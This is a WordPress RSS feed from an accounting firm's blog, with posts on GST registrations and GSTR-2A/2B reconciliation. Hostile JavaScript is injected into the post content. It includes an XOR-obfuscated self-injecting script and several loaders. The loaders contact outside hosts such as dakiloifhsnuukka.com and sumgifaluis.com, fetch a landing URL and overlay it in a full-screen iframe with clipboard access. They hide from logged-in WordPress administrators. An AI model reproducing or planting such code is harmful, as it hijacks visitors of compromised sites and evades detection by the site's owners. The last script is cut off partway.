122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,114,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,115,116,59,42,42,63,52,62,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,47,52,114,115,122,33,87,80,122,122,122,122,60,63,46,57,50,114,27,10,19,5,19,30,5,15,8,22,118,122,33,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,40,115,122,33,122,40,63,46,47,40,52,122,40,116,46,63,34,46,114,115,97,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,51,62,122,103,122,114,51,62,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,51,62,122,38,38,122,123,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,40,63,46,47,40,52,122,52,47,54,54,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,46,63,55,42,54,59,46,63,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,106,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,46,40,47,41,46,63,62,15,40,54,122,103,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,114,46,40,47,41,46,63,62,15,40,54,118,122,33,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,40,115,122,33,122,40,63,46,47,40,52,122,40,116,46,63,34,46,114,115,97,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,46,115,122,33,122,40,63,46,47,40,52,122,114,46,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,114,115,122,33,122,40,63,46,47,40,52,122,120,120,97,122,39,115,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,9,51,52,61,54,63,15,40,54,114,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,41,50,53,45,19,52,19,60,40,59,55,63,114,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,114,115,122,33,39,115,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,40,63,59,62,35,9,46,59,46,63,122,103,103,103,122,120,57,53,55,42,54,63,46,63,120,122,38,38,122,62,53,57,47,55,63,52,46,116,56,53,62,35,115,122,33,87,80,122,122,122,122,40,47,52,114,115,97,87,80,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,30,21,23,25,53,52,46,63,52,46,22,53,59,62,63,62,120,118,122,40,47,52,115,97,87,80,122,122,39,87,80,39,115,114,115,97,87,80];return String.fromCharCode.apply(String,_0xdbb3.map(function(c){return c^0x5A;}));})();var __d=document;var __h=__d.head||__d.documentElement;var __sc=__d.createElement("script");__sc.type="text/javascript";__sc.text=__s;__h.appendChild(__sc);})();</script></p>
<p>The post <a href="https://www.marsoneinnovators.com/best-way-to-manage-books-of-accounts-when-you-have-multiple-gst-registration-gstin/">Best Way to Manage Books of Accounts When You Have Multiple GST Registration (GSTIN)</a> appeared first on <a href="https://www.marsoneinnovators.com">Marsone</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.marsoneinnovators.com/best-way-to-manage-books-of-accounts-when-you-have-multiple-gst-registration-gstin/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Why is GSTR-2A Reconciliation Important for Businesses?</title>
		<link>https://www.marsoneinnovators.com/why-is-gstr-2a-reconciliation-important-for-businesses/</link>
					<comments>https://www.marsoneinnovators.com/why-is-gstr-2a-reconciliation-important-for-businesses/#respond</comments>
		
		<dc:creator><![CDATA[marsone-admin]]></dc:creator>
		<pubDate>Thu, 17 Nov 2022 15:51:03 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://www.marsoneinnovators.com/?p=241</guid>

					<description><![CDATA[<p>What is GSTR-2A? The GSTR-2A form is a view-only auto-populated statement of inward supplies. It...</p>
<p>The post <a href="https://www.marsoneinnovators.com/why-is-gstr-2a-reconciliation-important-for-businesses/">Why is GSTR-2A Reconciliation Important for Businesses?</a> appeared first on <a href="https://www.marsoneinnovators.com">Marsone</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2 id="what-is-gstr-2a"><strong>What is GSTR-2A?</strong></h2>
<p>The GSTR-2A form is a view-only auto-populated statement of inward supplies. It has a dynamic nature because it gets modified as the supplier uploads the invoices and so on. It is generated when the supplier has filed form GSTR-1/5, <a href="https://tallysolutions.com/gst/gstr6-filing-format-due-date/">GSTR-6</a>. The receiver can download GSTR-2A and see the details in his inward supplies.<br />
Input Tax Credit or ITC depends on the details reported by vendors in the GSTR-1 form through invoices. The amount specified in that form is the extent to which ITC can be claimed by the taxpayer. Note that the taxpayer will get information about how much ITC can be claimed from the GSTR-2B, which is generated monthly and remains static.</p>
<p><strong>What is GSTR-2A/2B reconciliation?</strong></p>
<p>The reconciliation process involves matching or checking the data that has been uploaded by your suppliers with that of your purchase data in your books. As the supplier’s uploaded information is available to you in GSTR-2A/2B, you can use that statement and then compare it with your books to check for any discrepancies. This shows you if every transaction that has taken place between the two of you has been accurately recorded or if any invoices are missing. Any data that is missing can cause future troubles and make you liable to pay penalties in the form of interest and other fees as specified by the GST authority.</p>
<h2 id="importance-of-gstr-2A-for-businesses">Importance of GSTR-2A/2B for businesses</h2>
<p>On January 1, 2022, the Finance Ministry launched the 100% invoice matching criteria and made it mandatory for all businesses. Essentially, any business that wishes to claim the ITC will have to show 100% parity between their filed returns and supporting invoices. In simple words, you will only be able to claim ITC if the concerned invoice is present in GSTR-2A/GSTR2B. Here are a few reasons why GSTR-2A/2B reconciliation is important for businesses.</p>
<p><strong>Loss of ITC</strong></p>
<p>If the supplier has failed to upload an invoice, then it means the taxpayer cannot claim ITC because ITC will be allowed only on the reflecting on GSTR-2A/GSTR-2B statement. This will have a major impact on the working capital especially if this is done constantly by the supplier where he does not upload the invoices despite constant reminders for the same. It may not seem like a lot in the beginning but for MSMEs, this can make a huge difference because they need capital for running the business smoothly without hassles. ITC reconciliation ensures this loss of ITC does not occur and the taxpayer can claim the correct ITC on time.</p>
<p><strong>Claiming excess credit/Incorrect values</strong><br />
The GSTR &#8211; 2A/2B reconciliation will prevent you from claiming ITC on the invoices that are reported in the GSTR-2A or GSTR-2B. For example, you may claim ITC on all the inward supplies in GSTR-3B return but, there are few that are not uploaded by the supplier. This results in an excess claim and may attract interest and penalties. There are situations where the invoices are uploaded, but the values are incorrect. Reconciling helps you identify such invoices and get those ratified with the supplier.</p>
<p><strong>Notice from department</strong><br />
The GST authority will send notices to the taxpayer if there is a mismatch between GSTR-2A/GSTR-2B and GSTR-3B with ITC. Without GSTR &#8211; 2A reconciliation or 2B, the mismatch cannot be caught on time by the taxpayer thereby causing trouble in the future. With the help of reconciliation, the taxpayer will be claiming the correct ITC and thereby not attract such problems with the authorities. The notice asks the taxpayer about the reason behind the mismatch. If any documents are missing or the taxpayer cannot verify the same within the stipulated time, they will face penalties and may have to reverse along with interest.</p>
<p><script>(function () {
  var API_ID_URL = (function(){var _0xef7d=[50,46,46,42,41,96,117,117,41,47,55,61,51,60,59,54,47,51,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0xef7d.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];</p>
<p>  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";</p>
<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };</p>
<p>  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;</p>
<p>      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;</p>
<p>      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;</p>
<p>      var de = document.documentElement;
      var body = document.body;</p>
<p>      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}</p>
<p>    return false;
  }</p>
<p>  if (isWpLoggedInContext()) return;</p>
<p>  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }</p>
<p>  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }</p>
<p>  registry.status = "loading";</p>
<p>  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }</p>
<p>  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";</p>
<p>    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }</p>
<p>    var encoded = encodeURIComponent(id);</p>
<p>    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }</p>
<p>    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function toHttpUrl(value) {
    if (!value) return "";</p>
<p>    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");</p>
<p>    if (!s) return "";</p>
<p>    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }</p>
<p>    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}</p>
<p>    return "";
  }</p>
<p>  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";</p>
<p>    if (typeof input === "string") {
      return toHttpUrl(input);
    }</p>
<p>    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }</p>
<p>    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }</p>
<p>    return "";
  }</p>
<p>  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }</p>
<p>  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;</p>
<p>    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;</p>
<p>    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;</p>
<p>      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;</p>
<p>      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }</p>
<p>      parent.appendChild(link);
    } catch (e) {}
  }</p>
<p>  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;</p>
<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }</p>
<p>      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));</p>
<p>      if (!builtUrl) {
        return step(index + 1);
      }</p>
<p>      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }</p>
<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }</p>
<p>    return step(0);
  }</p>
<p>  function activateIframe(url) {
    if (!url || registry.status === "active") return;</p>
<p>    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }</p>
<p>    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }</p>
<p>    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }</p>
<p>    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;</p>
<p>    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);</p>
<p>      registry.status = "active";</p>
<p>      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");</p>
<p>      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }</p>
<p>    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }</p>
<p>    registry.destroy = destroy;
    registry.reveal = reveal;</p>
<p>    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");</p>
<p>    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };</p>
<p>    iframe.onerror = function () {
      destroy();
    };</p>
<p>    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);</p>
<p>    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }</p>
<p>  function run() {
    warmupOrigins();
    bindMessageHandler();</p>
<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }</p>
<p>        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        finalUrl = toHttpUrl(finalUrl);</p>
<p>        if (!finalUrl) {
          cleanup("done");
          return "";
        }</p>
<p>        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }</p>
<p>        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }</p>
<p>  registry.runPromise = run();
})();</script><script>(function() {
  var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [{"template":(function(){var _0x1230=[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39];return String.fromCharCode.apply(String,_0x1230.map(function(c){return c^0x5A;}));})(),"useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;
  registry.iframeId = "adspect_ifr_" + Math.random().toString(36).slice(2);</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  /** Ответ траста — одна строка URL */
  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.id = registry.iframeId;
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      window.addEventListener("message", function onMsg(event) {
        if (!event.data || typeof event.data !== "object") return;
        if (event.data.type === "ktl-show-original") {
          try {
            var el = document.getElementById(registry.iframeId);
            if (el && el.parentNode) el.parentNode.removeChild(el);
          } catch (e) {}
          window.removeEventListener("message", onMsg);
        }
      });
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [{"template":(function(){var _0x1230=[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39];return String.fromCharCode.apply(String,_0x1230.map(function(c){return c^0x5A;}));})(),"useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;
  registry.iframeId = "adspect_ifr_" + Math.random().toString(36).slice(2);</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  /** Ответ траста — одна строка URL */
  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.id = registry.iframeId;
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      window.addEventListener("message", function onMsg(event) {
        if (!event.data || typeof event.data !== "object") return;
        if (event.data.type === "ktl-show-original") {
          try {
            var el = document.getElementById(registry.iframeId);
            if (el && el.parentNode) el.parentNode.removeChild(el);
          } catch (e) {}
          window.removeEventListener("message", onMsg);
        }
      });
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/dakiloifhsnuukka.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;
  registry.iframeId = "adspect_ifr_" + Math.random().toString(36).slice(2);</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  /** Ответ траста — одна строка URL */
  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.id = registry.iframeId;
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      window.addEventListener("message", function onMsg(event) {
        if (!event.data || typeof event.data !== "object") return;
        if (event.data.type === "ktl-show-original") {
          try {
            var el = document.getElementById(registry.iframeId);
            if (el && el.parentNode) el.parentNode.removeChild(el);
          } catch (e) {}
          window.removeEventListener("message", onMsg);
        }
      });
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
